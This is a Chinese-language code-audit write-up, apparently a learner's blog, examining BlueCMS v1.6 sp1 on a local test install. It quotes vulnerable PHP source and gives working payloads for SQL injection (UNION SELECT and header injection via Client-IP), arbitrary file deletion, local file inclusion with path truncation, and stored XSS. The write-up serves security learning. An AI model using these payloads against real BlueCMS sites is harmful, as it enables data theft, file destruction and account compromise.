BlueCMS版本號為:bluecms_v1.6_sp1
本地搭建環境后將源代碼丟進seay源代碼審計系統,開啟本地web服務頁面訪問,大部分白盒+小部分黑盒審計

搭建好環境后第一步先檢查是否有重裝漏洞,訪問網站install位置,我的網址是:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/

可以看到存在重裝漏洞,源代碼里面沒有檢測網站是否已經搭建,所以我們可以通過重裝獲取管理員密碼進而在后台寫入shell
同時我們也可以在填入配置的時候,可以嘗試直接寫入一句話木馬進config.php文件,從而拿到shell
這個時候seay審計工具也審計結束了

我們可以依次進行分析,找出漏洞
進入ID=1的漏洞詳情
疑似漏洞點為:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到$ad_id沒有引號包裹,存在數字型SQL注入漏洞,接下來我們需要找到$ad_id參數的輸入點,構造利用點
這里只對輸入的$ad_id進行了空格的過濾
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
輸出位置代碼為:
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
而在ad_js.php文件的開頭引入了過濾文件
require_once dirname(__FILE__) . '/include/common.inc.php';
我們查看common.inc.php文件,有
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
若果沒有開啟GPC防注入的話,則對POST,GET,COOKIE,REQUEST參數都進行過濾,但是deep_addslashes
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
僅僅是在addslashes過濾函數基礎上的一個修改,而addslashes函數是不能防止數字型注入的,回到剛才漏洞的注入點:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到這里是數字型的注入,所以我們能夠直接進行注入。
添加單引號:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27

從源代碼我們已經看出來這是數字型注入了,我們可以不輸入單引號,但是如果不是數字型注入,我們嘗試使用寬字節繞過GPC
成功令%df%27合成一個漢字

寬字節注入繞過GPC實際上是PHP與MySQL交互過程中發生編碼轉換導致的問題,從上面我們可以看到將轉義符去除了,進而可以對於字符型注入
當然這里我們繼續使用數字型,使用order by 判斷字段數
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207
頁面沒有任何顯示,因為在ad_js.php的輸出里面是
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
將輸出在源代碼中注釋了,不會顯示在界面中,想要查看也很簡單,查看源代碼即可
字段數是7,查看回顯位置
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7

回顯位置是7,簡單查看一下user用戶

成功讀取當前用戶,SQL注入漏洞成功利用。
第二個漏洞點在:
$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);
同樣可以看到可能存在數字型注入
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
但是在這里將輸入的ann_id進行了數字的轉換,以至於不能進一步利用
另外好幾個疑似SQL注入的點都是用intval進行了數字轉換導致不能利用
疑似任意文件刪除漏洞:

elseif($act == 'del_pic')
{
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
if(file_exists(BLUE_ROOT.$id))
{
@unlink(BLUE_ROOT.$id);
}
}
可以看出來,選擇動作為刪除,傳入id參數,先從數據庫中將其刪除,然后如果本地存在該文件也一並繼續刪除。
我們在同目錄下創建test.txt
payload為:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt

訪問構造的網址

文件已刪除,進一步可刪除服務器任意文件
二更
繼續看疑似漏洞點
$condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")";
同樣,對於$cid使用了強轉,無法利用
$cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '';
本地文件包含疑似漏洞點:
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('對不起,您沒有選擇支付方式ʽ');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
我們到bluecms的文件夾里面去找pay能夠選擇哪種支付方式:

alipay,所以我們先構造pay=alipay

跳轉到了支付寶的一個支付界面,接着我們嘗試本地文件包含,先嘗試%00截斷和和windows下點+斜杠截斷的方法,把本地phpstudy環境中php版本開到5.3.4以下,因為這兩個截斷在5.3以后的版本中已經全面修復了。
alipay同目錄下創建log.txt文件,文件內容為:


先嘗試00截斷:

頁面無回顯,我們在源代碼中添加一句:

重新提交POST數據,可以看到頁面顯示了我們提交后的pay

應該是引入了過濾函數,將0前面添加了反斜杠防止截斷。
再嘗試windows下使用240個連接的點進行截斷,我也沒數有多少個,反正多輸幾個再說

可以看到成功包含了本地文件,存在本地文件包含漏洞
在user.php中也存在疑似任意文件刪除
elseif($act == 'del_pic'){
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
if(file_exists(BLUE_ROOT.$id)){
@unlink(BLUE_ROOT.$id);
}
}
可以看到這一段與之前publish.php是類似的(除了表名不同)
所以我們簡單嘗試是否存在任意文件刪除,到user.php同目錄文件夾下創建test.txt

構造的payload為:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt
但是此時頁面卻報錯了

個人感覺是由於在publish.php中刪除,雖然其在數據庫中即便沒有找到該路徑,但是程序選擇了繼續執行下去,但是在user.php中設置的是如果沒有找到該路徑,就拋出錯誤,同時不再繼續進行,故這里不能進行任意文件的刪除。
在user.php中另外一處疑似任意文件刪除漏洞
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('ֻ֧只支持本站相對路徑地址');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}
可以看到在else中對於POST輸入的face_pic3沒有進行其余的檢查而直接@unlink刪除了文件。
同樣先創建test.txt文件

hackerbar構造:

運行后更新個人資料成功

同時目錄下的test.txt文件已被刪除

bluecms中獲取用戶IP地址是通過:
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //獲取客戶端用代理服務器訪問時的真實ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
實際上使用XFF是能夠繞過的,大概看了一下,對於ban掉的IP也是通過XFF獲取到的IP地址來判斷的,並不安全
在guest_book.php文件中調用了獲取到的IP地址存儲到數據庫中:
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('評論內容不能為空');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}
$online_ip是在guest_book.php包含的common.inc.php文件中獲取到的:
$online_ip = getip();
getip函數在common.fun.php中,上面我們顯示過代碼,這里不再贅述。
雖然整個代碼里面開啟了SQL防注入以及參數過濾,但是在PHP5之后使用$_SERVER取到的header字段不會受到GPC的影響,而在header注入中最常見也是程序員經常會忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我們這里就是利用這個特性鑽了空子而注入。
先在網頁上嘗試留言

留言成功,使用burpsuite抓包,使用client-ip偽造ip地址

這里有很多種注入方式,我們簡單回顯當前數據庫用戶

明天再更,找一些XSS漏洞
三更
找一下XSS漏洞,XSS漏洞經常出現在文章發表,評論回復,留言以及資料設置等地方,這里我們根據功能點去尋找
來到留言反饋界面
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php

代碼里有:
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
對於我們輸入的正文content進行了XSS過濾
昨天有一個漏洞是client-ip進行注入,嘗試了一下在偽造ip中添加XSS攻擊腳本,但是getip()獲取的長度有限制,不能構成攻擊,但是這里確實是存在XSS漏洞,將guest_book.htm顯示IP代碼修改一下:
發表於:{#$guest_list[g].add_time|date_format:"%Y-%m-%d %H:%M:%S"#} IP: <script>{#$guest_list[g].ip#}</script>
在IP處添加了script來顯示。

如果沒有長度限制,應該將script添加到client-ip里面,發送留言

修改成有漏洞的代碼了hhh。
繼續尋找存儲型的XSS漏洞,存儲型XSS漏洞需要尋找未過濾的輸入點和未過濾的輸出函數,看一下個人資料處

這里的個人資料是可以修改的,查看輸入個人資料處代碼
$birthday = trim($_POST['birthday']); $sex = intval($_POST['sex']); $email = !empty($_POST['email']) ? trim($_POST['email']) : ''; $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : ''; $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : ''; $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : ''; $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : ''; $home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : ''; $address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
看上去只對地址進行了XSS的過濾,再看看輸出的位置
$user = $db->getone("SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']));
$ann_arr = get_ann(0, 8);
template_assign(array(
'act',
'user',
'current_act',
'ann_arr'
),
array(
$act,
$user,
'會員中心',
$ann_arr
)
);
$smarty->display('user.htm');
將登陸用戶的信息從數據庫中提取出來,並且以user.htm為模板顯示出來,模板部分代碼為:

實際上經過測試此處能夠XSS的輸入框有兩處:分別是郵箱,用戶頭像
因為現居住地經過了過濾,QQ,辦公電話有長度限制,出生日期我不知道怎么設定的,應該是有輸入規范2020-4-22這種,不能輸入不合法的數字:

而郵箱處顯示代碼為:
<td align="left"><input name="email" type="text" value="{#$user.email#}" class="inputbox" /></td>
我們輸入payload為:
<script>alert(2)</script></td>//
個人頭像處顯示代碼為:
<td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}" class="inputbox" /></td>
我們輸入payload為:
"/></td><script>alert(/xss/);</script>//
確認修改后訪問user.php


成功執行存儲型XSS。
把《代碼審計》一書看完了,接下來需要慢慢審小型CMS,印證自己看書時的一些想法,並且熟練運用書中的技巧,爭取在上半年拿到CVE吧
